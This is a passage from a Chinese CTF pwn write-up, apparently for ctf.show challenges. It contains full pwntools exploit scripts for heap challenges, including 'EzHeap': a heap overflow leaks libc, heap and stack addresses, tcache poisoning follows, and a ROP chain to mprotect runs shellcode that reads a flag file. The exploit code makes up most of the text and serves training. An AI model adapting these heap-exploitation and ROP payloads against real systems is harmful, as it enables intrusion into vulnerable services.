warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
def menu(num):
sla("choice:", str(num))
def add(size, data='a'):
menu(1)
sla("content:", str(size))
sa("content:\n", data)
def show():
menu(2)
def free():
menu(3)
def edit(size, data):
menu(4)
sla("content:", str(size))
sa("content:\n", data)
sla("name.\n", b'aaaa')
#----------------------------------------------------------------
add(0x68)
edit(0x70, b'\x00'*0x68+p64(0xf91))
add(0x1000)
add(0x68)
show()
base = uu64() - 0x3c5161
io.recv(10)
heapbase = u64(io.recv(8)) - 0x70
malloc_hook = base + libc.sym['__malloc_hook']
realloc = base + libc.sym['__realloc_hook']
ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = base + ogg[2]
free()
edit(0x68, p64(malloc_hook-0x23)*2)
add(0x68)
add(0x68, b'\x00'*0x13+p64(one))
menu(1)
sla("content:", str(0x20))

p('heapbase')
p('base')
# debug()
ia()

Ezheap

image.png
这道题当时是House of apple,但是后来想了想,还是打栈简易一点
image.png
add函数会使用memset函数,也就是说我们泄露只能从堆溢出来泄露了
image.png
有个任意长度的堆溢出
限制了只能用orw
先用堆溢出泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x50)#0
add(0x50)#1
free(0)
free(1)
add(0x50)#0
edit(0, 0x500, b'a'*0x60)
show(0)
base = uu64() - 0x21ace0
environ = base + libc.sym['environ']
edit(0, 0x500, b'\x00'*0x50 + p64(0) + p64(0x91))
add(0x20)#1
edit(1, 0x500, b'a'*(0x50-1)+b'b')
show(1)
ru(b'b')
key = u64(io.recv(5).ljust(8,b'\x00'))
heapbase = key << 12
edit(1, 0x500, b'\x00'*0x20 + p64(0) + p64(0x21) + b'\x00'*0x10 + p64(0) + p64(0xd1))

之后就是泄露栈地址,打栈orw就完事了
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./EzHeap"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
url = 'pwn.challenge.ctf.show 28307'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
def menu(num):
sla("choice >> ", str(num))
def add(size, data='a'):
menu(1)
sla("size:", str(size))
sa("content:", data)
def free(idx):
menu(2)
sla("idx:\n", str(idx))
def edit(idx, size, data):
menu(3)
sla("idx:", str(idx))
sla("size:", str(size))
sa("content:", data)
def show(idx):
menu(4)
sla("idx:", str(idx))
ru("content:")
#----------------------------------------------------------------
add(0x50)#0
add(0x50)#1
free(0)
free(1)
add(0x50)#0
edit(0, 0x500, b'a'*0x60)
show(0)
base = uu64() - 0x21ace0
environ = base + libc.sym['environ']
edit(0, 0x500, b'\x00'*0x50 + p64(0) + p64(0x91))
add(0x20)#1
edit(1, 0x500, b'a'*(0x50-1)+b'b')
show(1)
ru(b'b')
key = u64(io.recv(5).ljust(8,b'\x00'))
heapbase = key << 12
edit(1, 0x500, b'\x00'*0x20 + p64(0) + p64(0x21) + b'\x00'*0x10 + p64(0) + p64(0xd1))
add(0x10)#2 (0xfc0)
payload = p64(0)*2
payload += p64(0) + p64(0x21)
payload += p64(0)*2
payload += p64(0) + p64(0x71)
payload += p64((key+2) ^ heapbase)
edit(2, 0x500, payload)
for i in range(5):
add(0x60)#3.4.5.6.7
add(0x60)#8 tcache_struct
edit(8, 0x500, b'\x00\x01'*0x48+p64(environ-0x10))
add(0x10)#9 environ
edit(9, 0x500, b'a'*0xf+b'b')
show(9)
ru(b'b')
stack = uu64()
edit(8, 0x500, b'\x00\x01'*0x48+p64(stack-0x190-0x20-8))
add(0x10)#10
#----------------------------------------------------------------
pop_rax = base + 0x45eb0
pop_rdi = base + 0x2a3e5
pop_rsi = base + 0x2be51
pop_rdx_rbx = base + 0x904a9
syscall = base + 0x29db4
mprotect = base + libc.sym['mprotect']
#----------------------------------------------------------------
payload = b'a'*0x28 + p64(pop_rdi) + p64((stack >> 12) << 12)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_rbx) + p64(7) + p64(0)
payload += p64(mprotect) + p64(stack - 0x148)
payload += asm(shellcraft.open('./ctfshow_flag')
+shellcraft.read(3, stack+0x300, 0x50)
+shellcraft.write(1, stack+0x300, 0x50))
# debug('b *$rebase(0x18CD)')

edit(10, 0x500, payload)


p('stack')
p('environ')
p('key')
p('heapbase')
p('base')
ia()

Cry

战队已有师傅发过,这里不再重复了。

Misc

战队已有师傅发过,这里不再重复了。